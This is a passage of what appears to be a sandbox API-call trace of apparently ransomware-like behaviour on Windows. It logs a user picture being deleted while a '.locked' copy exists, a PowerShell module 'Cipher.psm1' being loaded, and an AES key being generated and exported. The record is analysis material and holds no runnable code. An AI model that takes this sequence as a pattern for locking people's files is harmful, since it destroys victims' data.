lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", lpFilePart=0x0) returned 0x4f [0136.642] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", lpFilePart=0x0) returned 0x4f [0136.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0136.642] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\t20oxxsoi.png"), fInfoLevelId=0x0, lpFileInformation=0x6a7fbec | out: lpFileInformation=0x6a7fbec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ef3320, ftCreationTime.dwHighDateTime=0x1d4adc1, ftLastAccessTime.dwLowDateTime=0x681b22f0, ftLastAccessTime.dwHighDateTime=0x1d4a025, ftLastWriteTime.dwLowDateTime=0x681b22f0, ftLastWriteTime.dwHighDateTime=0x1d4a025, nFileSizeHigh=0x0, nFileSizeLow=0xef9)) returned 1 [0136.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0136.642] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\t20oxxsoi.png")) returned 1 [0136.643] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.643] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.644] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.644] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.644] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.644] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\t20oxxsoi.png.locked")) returned 0x20 [0136.644] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\t20oxxsoi.png.locked")) returned 0x20 [0136.645] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png.locked", lpFilePart=0x0) returned 0x56 [0136.645] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png.locked", lpFilePart=0x0) returned 0x56 [0136.645] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.645] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png", lpFilePart=0x0) returned 0x4f [0136.645] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x80") returned 0x0 [0136.645] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.645] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.645] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.646] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.646] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.646] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.646] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.646] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.648] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.648] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.648] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.648] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.648] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.649] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.649] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.649] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.650] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.650] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0136.656] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\t20oxxsoi.png.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a9358c | out: lpFileInformation=0x6a9358c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14aa3a5b, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x14aa3a5b, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x14aa3a5b, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xf14)) returned 1 [0136.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0136.656] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png.locked", lpFilePart=0x0) returned 0x56 [0136.656] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\t20oxxsoi.png.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0136.656] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0136.657] CloseHandle (hObject=0x764) returned 1 [0136.659] GetConsoleOutputCP () returned 0x1b5 [0136.660] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.660] GetConsoleOutputCP () returned 0x1b5 [0136.661] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.661] GetConsoleOutputCP () returned 0x1b5 [0136.661] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.661] GetConsoleOutputCP () returned 0x1b5 [0136.661] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.661] GetConsoleOutputCP () returned 0x1b5 [0136.662] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.662] GetConsoleOutputCP () returned 0x1b5 [0136.662] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.662] GetConsoleOutputCP () returned 0x1b5 [0136.662] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.662] GetConsoleOutputCP () returned 0x1b5 [0136.663] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.663] GetConsoleOutputCP () returned 0x1b5 [0136.663] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.663] GetConsoleOutputCP () returned 0x1b5 [0136.664] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.664] GetConsoleOutputCP () returned 0x1b5 [0136.664] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.664] GetConsoleOutputCP () returned 0x1b5 [0136.664] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.664] GetConsoleOutputCP () returned 0x1b5 [0136.665] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.665] GetConsoleOutputCP () returned 0x1b5 [0136.665] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.665] GetConsoleOutputCP () returned 0x1b5 [0136.665] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.665] GetConsoleOutputCP () returned 0x1b5 [0136.666] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.666] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0136.666] GetConsoleOutputCP () returned 0x1b5 [0136.666] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0136.666] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0136.667] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6aba570*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6aba570*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0136.667] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0136.668] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0136.672] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.672] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0136.672] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.674] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0136.674] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0136.674] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.675] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e021c8) returned 1 [0136.676] CryptGenKey (in: hProv=0x8e021c8, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e85138) returned 1 [0136.676] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.676] CryptExportKey (in: hKey=0x8e85138, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0136.676] CryptExportKey (in: hKey=0x8e85138, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6ac3e7c, pdwDataLen=0x99ae894 | out: pbData=0x6ac3e7c*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0136.676] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x3e0c\x6ac\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0136.676] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.676] SysStringLen (param_1="") returned 0x8 [0136.676] SysStringLen (param_1="O") returned 0x8 [0136.676] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.677] SysStringLen (param_1="\x68e3\xbb1d\xc002\x8857\xfca1\x492\x2310\x89d8") returned 0x8 [0136.677] SysStringLen (param_1="\x68e3\xbb1d\xc002\x8857\xfca1\x492\x2310\x89d8") returned 0x8 [0136.677] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.677] SysStringLen (param_1="O3") returned 0x8 [0136.677] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.677] SysStringLen (param_1="\x4456\xa94e\xe80a\xb6ea\xb9b8\x6d1c\xefd7\x2cae") returned 0x8 [0136.677] SysStringLen (param_1="\x4456\xa94e\xe80a\xb6ea\xb9b8\x6d1c\xefd7\x2cae") returned 0x8 [0136.677] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.677] SysStringLen (param_1="O3T") returned 0x8 [0136.677] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.677] SysStringLen (param_1="\xecb1\x3a3d\x4359\x331b\x5eb\xafe7\x2ad3\x93bc") returned 0x8 [0136.677] SysStringLen (param_1="\xecb1\x3a3d\x4359\x331b\x5eb\xafe7\x2ad3\x93bc") returned 0x8 [0136.677] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.677] SysStringLen (param_1="O3Tk") returned 0x8 [0136.677] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.677] SysStringLen (param_1="\x7ef3\xc08b\x9bc2\x7b99\xa504\x85e8\xa349\x5bd6") returned 0x8 [0136.677] SysStringLen (param_1="\x7ef3\xc08b\x9bc2\x7b99\xa504\x85e8\xa349\x5bd6") returned 0x8 [0136.677] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.678] SysStringLen (param_1="O3Tk6") returned 0x8 [0136.678] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.678] SysStringLen (param_1="⼏孝䤔㹨谇䗍") returned 0x8 [0136.678] SysStringLen (param_1="⼏孝䤔㹨谇䗍") returned 0x8 [0136.678] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.678] SysStringLen (param_1="O3Tk6W") returned 0x8 [0136.678] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: 